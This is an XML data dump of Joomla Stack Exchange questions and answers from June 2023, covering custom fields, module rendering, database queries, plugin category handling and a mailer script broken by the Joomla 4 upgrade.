  <row Id="33088" PostTypeId="1" CreationDate="2023-06-06T14:32:52.050" Score="1" ViewCount="51" Body="&lt;p&gt;I'using a xml formsource (&amp;lt;field name=&amp;quot;media&amp;quot; ... /&amp;gt;) in a subform for a custom field.&lt;/p&gt;&#xA;&lt;p&gt;The form is working but my directory path is completely ignored. E.g. directory=&amp;quot;mitglieder/attachments/105/10&amp;quot;. The directory is correct but the media manager always jumps to the top level (images).&lt;/p&gt;&#xA;&lt;p&gt;Has something changed in the parameters?&lt;/p&gt;&#xA;&lt;p&gt;Even with the orginal Joomla media field there is the possibility to specify a directory, but this is also ignored. Even the parameter query directory is missing under joomls 4.3.2.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;media&amp;quot; type=&amp;quot;media&amp;quot; types=&amp;quot;images,documents,audios,videos&amp;quot; directory=&amp;quot;mitglieder/attachments/105/10&amp;quot; preview=&amp;quot;true&amp;quot; preview_width=&amp;quot;176&amp;quot; preview_height=&amp;quot;99&amp;quot; label=&amp;quot;Media&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first time you call it, the directory assignment works. If you then change the directory in the media manager modal and call it again, the directory is ignored.&lt;/p&gt;&#xA;" OwnerUserId="8554" LastEditorUserId="8554" LastEditDate="2023-06-20T13:32:16.020" LastActivityDate="2023-06-20T13:32:16.020" Title="media field type ignores directory" Tags="|joomla-4.x|custom-field|form-fields-types|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33091" PostTypeId="2" ParentId="33087" CreationDate="2023-06-07T06:31:09.080" Score="2" Body="&lt;p&gt;Your component needs to implement &lt;code&gt;Joomla\CMS\Fields\FieldsServiceInterface&lt;/code&gt;. It has two methods:&#xA;&lt;code&gt;getContexts()&lt;/code&gt; which returns an array with contexts as keys and human readable titles as values. And &lt;code&gt;validateSection()&lt;/code&gt; which allows mapping a provided &amp;quot;section&amp;quot; to another one. In this case section refers to a part of context without component prefix. When plugins are triggered in your component during frontend editing,&lt;code&gt;com_test.form&lt;/code&gt; context is used. You need to remap this to &lt;code&gt;com_test.test1&lt;/code&gt; to match context used in backend. So your &lt;code&gt;validateSection()&lt;/code&gt; method should look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function validateSection($section, $item = null)&#xA;{&#xA;    if ($section === 'form')&#xA;    {&#xA;        return 'test1';&#xA;    }&#xA;&#xA;    return $section;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-06-07T06:31:09.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33092" PostTypeId="2" ParentId="33082" CreationDate="2023-06-07T09:35:45.470" Score="1" Body="&lt;p&gt;In J4, &lt;code&gt;Factory::getDocument()&lt;/code&gt; is deprecated and module rendering is accomplished through the &lt;code&gt;ModuleHelper&lt;/code&gt;. I have not tried the adapted J3 code that you are using, but it should work, just maybe not as you're expecting.&lt;/p&gt;&#xA;&lt;p&gt;Example J4 code that is working for me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$module = ModuleHelper::getModule('mod_custom', 'Custom PHP Generated Instance');&#xA;$module-&amp;gt;title = $data['title'];&#xA;$module-&amp;gt;position = '';&#xA;$module-&amp;gt;showtitle = &amp;quot;0&amp;quot;;&#xA;$module-&amp;gt;content = &amp;quot;This is the content of the PHP generated instance of mod_custom&amp;quot;;&#xA;$module-&amp;gt;params = ['style'=&amp;gt;&amp;quot;System-html5&amp;quot;,'moduleclass_sfx'=&amp;gt;&amp;quot; center&amp;quot;];&#xA;&#xA;$html = ModuleHelper::renderModule($module);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;$module-&amp;gt;params&lt;/code&gt; can be a &lt;code&gt;Registry&lt;/code&gt;, &lt;code&gt;object&lt;/code&gt;, &lt;code&gt;array&lt;/code&gt; or json_encoded string, whichever is easiest for you. It gets converted to a &lt;code&gt;Registry&lt;/code&gt; when the module is rendered.&lt;/p&gt;&#xA;&lt;p&gt;This code will not generate a &lt;code&gt;$module-&amp;gt;id&lt;/code&gt;, it will be set to &lt;code&gt;0&lt;/code&gt;, nor will it create a record in the database. The module is created on the fly for immediate use and will need to be recreated each time it is needed.&lt;/p&gt;&#xA;&lt;p&gt;You can return &lt;code&gt;$html&lt;/code&gt; from the above code and then &lt;code&gt;echo&lt;/code&gt; that wherever you need it displayed.&lt;/p&gt;&#xA;&lt;p&gt;If you want to save the module, then you you should be able to hook in to &lt;code&gt;\Joomla\Component\Modules\Administrator\Model\ModuleModel&lt;/code&gt;. Just replace the last line of the above code with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/** @var \Joomla\Component\Modules\Administrator\Model\ModuleModel $model */&#xA;$model = Factory::getApplication()-&amp;gt;bootComponent('com_modules')-&amp;gt;getMVCFactory()-&amp;gt;createModel('Module','Administrator');&#xA;$model-&amp;gt;save($module);&#xA;$module-&amp;gt;id = $model-&amp;gt;getState('module.id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13268" LastEditorUserId="13268" LastEditDate="2023-06-08T15:16:47.980" LastActivityDate="2023-06-08T15:16:47.980" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33093" PostTypeId="1" CreationDate="2023-06-07T10:02:30.113" Score="0" ViewCount="116" Body="&lt;p&gt;I've have a big problem with my dashbord SP Page Builder, when i tried to go on &lt;a href=&quot;https://www.sologne-nature.org/administrator/index.php?option=com_sppagebuilder&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sologne-nature.org/administrator/index.php?option=com_sppagebuilder&lt;/a&gt; , i've got this message &lt;code&gt;0 Call to undefined method SppagebuilderViewPages::getSortFields()&lt;/code&gt;  and i can't modify my pages anymore. I've did somes research without any results. Can you help me to resolve it please ? I don't know where to go in my files to fix it.&lt;/p&gt;&#xA;&lt;p&gt;I'm on joomla 3.10.11 and using sp page builder 4.0.9 and helix ultimate 2.0.12.&lt;/p&gt;&#xA;" OwnerUserId="17102" LastActivityDate="2023-06-07T10:02:30.113" Title="Call to undefined method" Tags="|module|administrator|troubleshooting|dashboard|joomla-3.10|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="33094" PostTypeId="1" CreationDate="2023-06-07T10:55:31.867" Score="0" ViewCount="94" Body="&lt;p&gt;I've created a new custom field type name &amp;quot;lazyload&amp;quot; on Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;Basically it is a list field that places an empty (no options) HTML select tag and uses the &lt;a href=&quot;https://select2.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;select2&lt;/a&gt; plugin to fetch the options via ajax (this is necessary because some fields can have as much as 7000+ options).&lt;/p&gt;&#xA;&lt;p&gt;I'm using it on articles and everything is working fine apart from the moment I save the article: it returns &amp;quot;Invalid field: [field name]&amp;quot; and it does not store the selected values.&lt;/p&gt;&#xA;&lt;p&gt;Of course this is because a safety good practice: saved results must be validated against existing options, but how can I disable this validation? - or, better still, create my own validation rules?&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2024-03-09T09:08:31.073" Title="Disable custom field validation" Tags="|development|joomla-4.x|custom-field|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33095" PostTypeId="1" CreationDate="2023-06-07T12:12:05.720" Score="0" ViewCount="35" Body="&lt;p&gt;So here is a small example of the query I play around with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery('SELECT position, title FROM jos_modules&#xA;UNION (&#xA;SELECT position, title FROM jos_modules&#xA;)');&#xA;$data= $db-&amp;gt;loadAssocList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This returns all modules.&lt;/p&gt;&#xA;&lt;p&gt;It does not matter if this does not make sense. It's just an example of a more complex query. The UNION approach is a must in the original query.&lt;/p&gt;&#xA;&lt;p&gt;But i need the data indexed on a key like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$data= $db-&amp;gt;loadAssocList('position');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If doing that, not all modules are returned. So it seems the indexing only catches the first result.&lt;/p&gt;&#xA;&lt;p&gt;Can such a UNION query be done and results returned indexed on a key?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-06-07T21:03:34.257" Title="UNION Query with loadAssocList($key)" Tags="|mysql|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33096" PostTypeId="2" ParentId="33095" CreationDate="2023-06-07T13:11:54.540" Score="1" Body="&lt;p&gt;No, there's no such option. You have to do it yourself:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$data = [];&#xA;&#xA;foreach ($db-&amp;gt;loadAssocList() as $row)&#xA;{&#xA;    $data[$row['position']][] = $row;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-06-07T13:11:54.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33097" PostTypeId="2" ParentId="33095" CreationDate="2023-06-07T21:03:34.257" Score="1" Body="&lt;p&gt;The OP actually works as it should. The actual query that has been posted &lt;code&gt;UNION&lt;/code&gt;s the data with itself, so the records in both sets have the same keys. Only one set of data is returned because the first set is overwritten by the second set. The same issue would be seen in @Sharky's answer.&lt;/p&gt;&#xA;&lt;p&gt;If you change the query to have different data sets:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery('SELECT position, title FROM #__modules UNION (SELECT id AS position, title FROM #__content)');&#xA;$data = $db-&amp;gt;loadAssocList('position');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then both sets of data appear in the result:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array(121) {&#xA;  [&amp;quot;position-7&amp;quot;]=&amp;gt;&#xA;  array(2) {&#xA;    [&amp;quot;position&amp;quot;]=&amp;gt;&#xA;    string(10) &amp;quot;position-7&amp;quot;&#xA;    [&amp;quot;title&amp;quot;]=&amp;gt;&#xA;    string(10) &amp;quot;Login Form&amp;quot;&#xA;  }&#xA;  [&amp;quot;login&amp;quot;]=&amp;gt;&#xA;  array(2) {&#xA;    [&amp;quot;position&amp;quot;]=&amp;gt;&#xA;    string(5) &amp;quot;login&amp;quot;&#xA;    [&amp;quot;title&amp;quot;]=&amp;gt;&#xA;    string(5) &amp;quot;Login&amp;quot;&#xA;  }&#xA;...&#xA;  [202]=&amp;gt;&#xA;  array(2) {&#xA;    [&amp;quot;position&amp;quot;]=&amp;gt;&#xA;    string(3) &amp;quot;202&amp;quot;&#xA;    [&amp;quot;title&amp;quot;]=&amp;gt;&#xA;    string(14) &amp;quot;Example article 1&amp;quot;&#xA;  }&#xA;  [203]=&amp;gt;&#xA;  array(2) {&#xA;    [&amp;quot;position&amp;quot;]=&amp;gt;&#xA;    string(3) &amp;quot;203&amp;quot;&#xA;    [&amp;quot;title&amp;quot;]=&amp;gt;&#xA;    string(24) &amp;quot;Example article 2&amp;quot;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13268" LastActivityDate="2023-06-07T21:03:34.257" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33098" PostTypeId="2" ParentId="32173" CreationDate="2023-06-07T23:04:08.843" Score="1" Body="&lt;p&gt;It seems you're not alone in searching for the answer to this question, and anybody who knows seems to have been guarding that knowledge carefully!  Nearest I've found is the following quote from the page linked below:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Actually, Joomla! always uses output buffering, except when it only&#xA;needs to issue a redirection. Therefore you should turn it off so as&#xA;not to have any conflicts with Joomla!.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeeba.com/support/akeeba-backup-3x/11769-output-buffering.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.akeeba.com/support/akeeba-backup-3x/11769-output-buffering.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, what I THINK he is implying with that statement is that BECAUSE Joomla! explicitly uses output buffering whenever rendering a page (which it does in order to render the page content before wrapping it in a flexibly selected page template, allowing plugins to manipulate the resulting page before delivery, and potentially other reasons also), having the setting on in the PHP configuration options results in an unnecessary (but harmless) nested buffering operation.&lt;/p&gt;&#xA;&lt;p&gt;That is, with the PHP output_buffering directive enabled, PHP will automatically commence buffering output before the Joomla script begins execution, then Joomla itself invokes ob_start() explicitly, resulting in a second output buffer being established. With the PHP output_buffering directive disabled, any output generated by the script is ordinarily dispatched immediately, but Joomla explicitly commences output buffering anyway, so the resulting content is buffered and delivered in the same way, but without the nominal overhead of the pointless additional buffering step.&lt;/p&gt;&#xA;&lt;p&gt;To be clear, setting the output_buffering directive to 'Off' does not prevent output buffering from being used - it just means you need to call ob_start() and related functions to do so.&lt;/p&gt;&#xA;&lt;p&gt;Disclaimer - I am reading between the lines here, and could be way off the mark. In any case, it seems not to matter a lick whether you have it on or off by default. I have used Joomla since v1.5 and never had a problem with the setting being on. &lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2023-06-07T23:04:08.843" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33099" PostTypeId="2" ParentId="33087" CreationDate="2023-06-08T07:59:05.343" Score="0" Body="&lt;p&gt;I added the code in the file - administrator\components\com_test1\src\Extension\Test1Component.php.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function validateSection($section, $item = null)&#xA;{&#xA;    if ($section === 'form')&#xA;    {&#xA;        return 'test1';&#xA;    }&#xA;&#xA;    return $section;&#xA;}&#xA;&#xA;public function getContexts(): array&#xA;{&#xA;    Factory::getLanguage()-&amp;gt;load('com_test1', JPATH_ADMINISTRATOR);&#xA;&#xA;    $contexts = array(&#xA;        'com_test1.test1'    =&amp;gt; Text::_('COM_CONTENT'),&#xA;        'com_test1.categories' =&amp;gt; Text::_('JCATEGORY')&#xA;    );&#xA;&#xA;    return $contexts;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Unfortunately, it didn't help&lt;/p&gt;&#xA;" OwnerUserId="14793" LastActivityDate="2023-06-08T07:59:05.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33100" PostTypeId="2" ParentId="33087" CreationDate="2023-06-08T08:27:30.250" Score="1" Body="&lt;p&gt;&lt;strong&gt;Sharky&lt;/strong&gt;&#xA;Thanks for showing me where to look.&#xA;It was necessary to add code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Fields\FieldsServiceInterface;&#xA;...&#xA;class Test1Component  ..,FieldsServiceInterface&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14793" LastActivityDate="2023-06-08T08:27:30.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33104" PostTypeId="1" CreationDate="2023-06-11T19:02:31.073" Score="0" ViewCount="36" Body="&lt;p&gt;I have written a Joomla 4 plugin (trigger: onAfterRoute) that changes the layout of the article edit based on the category. This works when creating a new article with a pre-selected category, but upon changing the category in the dropdown of the editor the catid is lost. How can I fetch it in my plugin code ?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $app = Factory::getApplication();&#xA;    $option = $app-&amp;gt;input-&amp;gt;getCmd('option', '');&#xA;    if($option == 'com_content' &amp;amp;&amp;amp; $layout == 'edit')&#xA;    {&#xA;        $contentComponent = Factory::getApplication()-&amp;gt;bootComponent('com_content');&#xA;        $articlemodel = $contentComponent-&amp;gt;getMVCFactory()-&amp;gt;createModel('Article', 'Site'); //Get the article model&#xA;        if($aid){&#xA;            $catid = $articlemodel-&amp;gt;getItem($aid)-&amp;gt;catid; //Get category of article&#xA;        }&#xA;        elseif($app-&amp;gt;input-&amp;gt;getCmd('catid')) {&#xA;            $catid = $app-&amp;gt;input-&amp;gt;getCmd('catid', 0);&#xA;        }&#xA;        else&#xA;        {&#xA;            //If category change has occured in the edit form - how to get catid ???&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11713" LastActivityDate="2024-03-08T09:02:05.120" Title="Get Category id onAfterRoute when using category dropdown" Tags="|plugin|joomla-4.x|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33105" PostTypeId="2" ParentId="33104" CreationDate="2023-06-12T06:22:01.710" Score="0" Body="&lt;p&gt;The plugin code is being executed on the Server side before page is rendered and sent to the browser. When someone changes the category via the drop down of the article that is happening on the client side, in the browser.&lt;/p&gt;&#xA;&lt;p&gt;In your plugin you are getting the value of category id from the database while processing is happening on the server but the change to the category in the drop down is happening in the browser, thus you have to save category id change and re-process on the server for your plugin to respond to the change or you need to react to the change in the browser using Javascript.&lt;/p&gt;&#xA;&lt;p&gt;Either way you need some Javascript to run on the client side whenever the category is changed in the browser.&lt;/p&gt;&#xA;&lt;p&gt;One approach would be a small bit of JS that reacts when the category changes then the normal save/apply processing is triggered and the new category is then saved to the db the form reloads from the server and your existing plugin will be executed and the new layout is how you wish.&lt;/p&gt;&#xA;&lt;p&gt;Second approach is to have JS save the new category to the article via Ajax, simple Fetch or Joomla's Webservices could do this, and then force a reload of the page to again run your plugins code on the server.&lt;/p&gt;&#xA;&lt;p&gt;The first approach you risk saving someones changes, other than the category change, when perhaps they didn't want to. Second approach you risk losing any other unsaved changes they might have made before they change the category.&lt;/p&gt;&#xA;&lt;p&gt;Third approach, and without details of what changes you need to make to the layout it is hard to say if this is practical, but your JS can make the changes to layout based on the category id selected. For example it could make certain fields read only or toggle them as hidden etc.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-06-12T06:22:01.710" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33107" PostTypeId="1" AcceptedAnswerId="33108" CreationDate="2023-06-12T16:09:39.813" Score="0" ViewCount="208" Body="&lt;h3&gt;The issue&lt;/h3&gt;&#xA;&lt;p&gt;Quoting (again) from an old question of mine:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I have a form in my Joomla! site. Once completed, the form should send an e-mail but only if some conditions have been met.&lt;/p&gt;&#xA;&lt;p&gt;Not having been able to use standard, commercially available mailers while also checking those conditions, I am using jQuery.ajax to POST the content of the form to a custom PHP page that uses Factory::getMailer to actually send the e-mail.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Maybe it's convoluted, but it works.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;After updating the site from Joomla3 to Joomla4, it stopped working.&lt;/p&gt;&#xA;&lt;p&gt;The code is the exact same as in &lt;a href=&quot;https://joomla.stackexchange.com/q/31923/16107&quot;&gt;this question I posted a while ago&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//_JEXEC must be 1 or require_once requests will fail because of their &amp;quot;_JEXEC or die&amp;quot;&#xA;define('_JEXEC', 1);&#xA;&#xA;//Then I need to require some Joomla! files where getMailer is defined&#xA;define('JPATH_BASE', __DIR__);&#xA;require_once (JPATH_BASE.'/includes/defines.php');&#xA;require_once ('includes/framework.php');&#xA;&#xA;try {&#xA;    //fetching variables from querystring&#xA;    $name=$_POST['name'];&#xA;    $body=$_POST['body'];&#xA;    $from=$_POST['from'];&#xA;    //invoke mailer&#xA;    $mail = \Joomla\CMS\Factory::getMailer();&#xA;    $mail-&amp;gt;setSender('example@example.com');&#xA;    $mail-&amp;gt;addRecipient('example@example.com');&#xA;    $mail-&amp;gt;setFrom($from,$name); # who is it?&#xA;    $mail-&amp;gt;addReplyTo($from,$name); # who do I reply to?&#xA;    $mail-&amp;gt;setSubject('E-mail from Firefighter\'s form');&#xA;    $mail-&amp;gt;setBody($body);&#xA;    $mail-&amp;gt;ClearCCs();&#xA;    $mail-&amp;gt;ClearBCCs();&#xA;    $mail-&amp;gt;ClearAttachments();&#xA;    $mail-&amp;gt;ClearCustomHeaders();&#xA;    $mail-&amp;gt;Send();&#xA;    echo &amp;quot;Mail sent&amp;quot;;&#xA;    exit;&#xA;}&#xA;catch (Exception $e) {&#xA;    echo $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some considerations:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I restored a Joomla3 backup and it works, so I don't think it is a problem with PHPmailer versions&lt;/li&gt;&#xA;&lt;li&gt;I have checked with the hosting and they are not blocking any e-mails this time (last time, they were the cause of the problem)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Testing and debugging&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have had the host activate php debugging and it doesn't log anything.&lt;/li&gt;&#xA;&lt;li&gt;I have activated Joomla4's maximum level of error reports and nothing shows up.&lt;/li&gt;&#xA;&lt;li&gt;I have placed an echo command right before Send(), and I get that right before the &amp;quot;failed to start application&amp;quot; from the catch echo.&lt;/li&gt;&#xA;&lt;li&gt;Commenting out &lt;code&gt;$mail-&amp;gt;Send();&lt;/code&gt; and nothing else echoes &amp;quot;Mail sent&amp;quot;, as expected (of course, the mail is &lt;em&gt;not&lt;/em&gt; sent).&lt;/li&gt;&#xA;&lt;li&gt;Joomla's test e-mail works correctly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So, everything works properly but the Send() function&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I have not had time yet to check the following:&lt;/p&gt;&#xA;&lt;p&gt;Just before the catch structure:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('display_errors', 1);&#xA;ini_set('display_startup_errors', 1);&#xA;error_reporting(E_ALL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Adding &lt;code&gt;$mail-&amp;gt;isHtml(true);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Adding &lt;code&gt;$mail-&amp;gt;SMTPDebug = 2;&lt;/code&gt; (or 3)&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I don't know if it's related to my problem (after all, I have not changed those settings in the last few weeks) but here are the settings, translated back from my language:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;E-mail sending: yes&#xA;Disable user e-mail sending: no&#xA;Email from: [the mail I use for ftp access]&#xA;Sender name: Firefighter's company's page&#xA;Reply to e-mail:&#xA;Reply to name:&#xA;E-mail function: PHP mail&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3&gt;The question&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;How do I make my mailer work again?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16107" LastActivityDate="2023-06-12T20:53:00.720" Title="getMailer gives &quot;Failed to start application&quot; exception after updating to Joomla4, how do I fix it?" Tags="|php|joomla-4.x|migration|jmail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33108" PostTypeId="2" ParentId="33107" CreationDate="2023-06-12T20:53:00.720" Score="2" Body="&lt;p&gt;The &amp;quot;Failed to start application&amp;quot; exception is thrown by &lt;code&gt;\Joomla\CMS\Factory::getApplication()&lt;/code&gt;, which is called by &lt;code&gt;\Joomla\CMS\Mail\Mail::Send()&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The problem is because the appliocation object has not been set within the Factory.&lt;/p&gt;&#xA;&lt;p&gt;The code that you have used to initiate a Joomla application works for version 3, but needs to be updated for version 4&lt;/p&gt;&#xA;&lt;p&gt;Replace the code before your try/catch block with the following block and the script should work. (Code taken and stripped down from &lt;code&gt;&amp;lt;JoomlaRoot&amp;gt;/index.php&lt;/code&gt; and &lt;code&gt;&amp;lt;JoomlaRoot&amp;gt;/includes/app.php&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;define('JPATH_BASE', __DIR__);&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;$container-&amp;gt;alias('session.web', 'session.web.administrator')&#xA;    -&amp;gt;alias('session', 'session.web.administrator')&#xA;    -&amp;gt;alias('JSession', 'session.web.administrator')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.administrator')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.administrator')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.administrator');&#xA;&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\AdministratorApplication::class);&#xA;&#xA;\Joomla\CMS\Factory::$application = $app;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13268" LastActivityDate="2023-06-12T20:53:00.720" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33109" PostTypeId="2" ParentId="33094" CreationDate="2023-06-13T07:26:20.483" Score="0" Body="&lt;p&gt;There is nothing special about creating validation rules for use in custom field plugins. The rule itself is a loose class file and the plugin does not interact with it on its own. To use it, you have to set the &lt;code&gt;validate&lt;/code&gt; attribute on the field element in the form. You're already aware that in a custom field plugin this is done by manipulating the field node in &lt;code&gt;onCustomFieldsPrepareDom&lt;/code&gt; event:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onCustomFieldsPrepareDom($field, DOMElement $parent, Form $form)&#xA;{&#xA;    $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);&#xA;    $fieldNode-&amp;gt;setAttribute('addrulepath', 'plugins/fields/mylist/rule');&#xA;    $fieldNode-&amp;gt;setAttribute('validate', 'my.test');&#xA;&#xA;    return $fieldNode;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The code above loads &lt;code&gt;MyFormRuleTest&lt;/code&gt; rule class located in &lt;code&gt;plugins/fields/mylist/rule/test.php&lt;/code&gt; file. If your plugin uses namespaced classes, use &lt;code&gt;addruleprefix&lt;/code&gt; attribute instead:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$fieldNode-&amp;gt;setAttribute('addruleprefix', 'My\\Plugin\\Fields\\MyList\\Rule');&#xA;$fieldNode-&amp;gt;setAttribute('validate', 'Test');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This code would load &lt;code&gt;My\Plugin\Fields\MyList\Rule\TestRule&lt;/code&gt; class.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-06-13T07:26:20.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33110" PostTypeId="1" CreationDate="2023-06-13T10:35:59.607" Score="0" ViewCount="72" Body="&lt;p&gt;For example, in my table #__shopping_details I want to add two category fields so I added&#xA;&lt;code&gt;&amp;lt;field name=&amp;quot;shopping_account&amp;quot; extension=&amp;quot;com_shopping.shoppingdetails&amp;quot; type=&amp;quot;category&amp;quot; label=&amp;quot;COM_SHOPPING_FORM_LBL_SHOPPINGDETAIL_SHO_CAT&amp;quot; description=&amp;quot;COM_SHOPPING_FORM_DESC_SHOPPINGDETAIL_SHO_CAT&amp;quot; hint=&amp;quot;COM_SHOPPING_FORM_LBL_SHOPPINGDETAIL_SHO_CAT&amp;quot;/&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;`&amp;lt;field name=&amp;quot;shopping_item_category&amp;quot; extension=&amp;quot;com_shopping.shoppingdetails&amp;quot; type=&amp;quot;category&amp;quot; label=&amp;quot;COM_SHOPPING_FORM_LBL_SHOPPINGDETAIL_SHOOPING_ITEM&amp;quot; description=&amp;quot;COM_SHOPPING_FORM_DESC_SHOPPINGDETAIL_SHOOPING_ITEM&amp;quot; hint=&amp;quot;COM_SHOPPING_FORM_LBL_SHOPPINGDETAIL_SHOOPING_ITEM&amp;quot;/&amp;gt;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But it will allow me to add categories field twice which could be achieved using &lt;strong&gt;multiple true&lt;/strong&gt; instead of adding two category fields which I do not want what I want is to allow adding two category fields with different categories in it respectively so the same table will have two different categories menu to add categories in it, for example, shopping_account and shopping_item_category and will have different menus to add categories in it...is it achievable in Joomla using Category field? can someone guide me on the same?&lt;br /&gt;&#xA;Do I need to change extension=&amp;quot;com_shopping.shoppingdetails&amp;quot; and extension=&amp;quot;com_shopping.shoppingdetails&amp;quot; to something else?&lt;/p&gt;&#xA;" OwnerUserId="16785" LastEditorUserId="16785" LastEditDate="2023-06-13T10:42:28.460" LastActivityDate="2023-06-16T21:07:31.737" Title="Is it possible to create two category fields in the same table with different menu categories to each of them to add new category" Tags="|joomla-4.x|category|fields|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
